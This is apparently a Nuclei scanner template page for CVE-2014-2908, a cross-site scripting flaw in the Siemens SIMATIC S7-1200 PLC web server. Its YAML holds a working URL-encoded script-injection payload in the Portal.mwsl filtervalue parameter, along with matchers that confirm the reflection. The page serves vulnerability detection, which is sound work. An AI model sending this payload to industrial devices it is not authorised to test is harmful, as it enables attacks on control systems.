Siemens SIMATIC S7-1200 CPU - Cross-Site Scripting

ID: CVE-2014-2908

Severity: medium

Author: daffainfo

Tags: cve2014,cve,xss,siemens,edb

Description

A cross-site scripting vulnerability in the integrated web server on Siemens SIMATIC S7-1200 CPU devices 2.x and 3.x allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.

YAML Source

id: CVE-2014-2908

info:
  name: Siemens SIMATIC S7-1200 CPU - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in the integrated web server on Siemens SIMATIC S7-1200 CPU devices 2.x and 3.x allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected user's browser.
  remediation: Upgrade to v4.0 or later.
  reference:
    - https://www.exploit-db.com/exploits/44687
    - https://cert-portal.siemens.com/productcert/pdf/ssa-892012.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2014-2908
    - http://ics-cert.us-cert.gov/advisories/ICSA-14-114-02
    - http://www.siemens.com/innovation/pool/de/forschungsfelder/siemens_security_advisory_ssa-892012.pdf
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2014-2908
    cwe-id: CWE-79
    epss-score: 0.0045
    epss-percentile: 0.75068
    cpe: cpe:2.3:o:siemens:simatic_s7_cpu_1200_firmware:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: siemens
    product: simatic_s7_cpu_1200_firmware
  tags: cve2014,cve,xss,siemens,edb

http:
  - method: GET
    path:
      - '{{BaseURL}}/Portal/Portal.mwsl?PriNav=Bgz&filtername=Name&filtervalue=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&Send=Filter'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009463f51cbc4925f419ee59524fc0a5f2cedbcc9a9ae9a8dde795509ea3008ea102207f264b844eebbca7c165dfaf5b0b91baf52cb0f871bd1717dce85a1f36aca99b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-2908.yaml"

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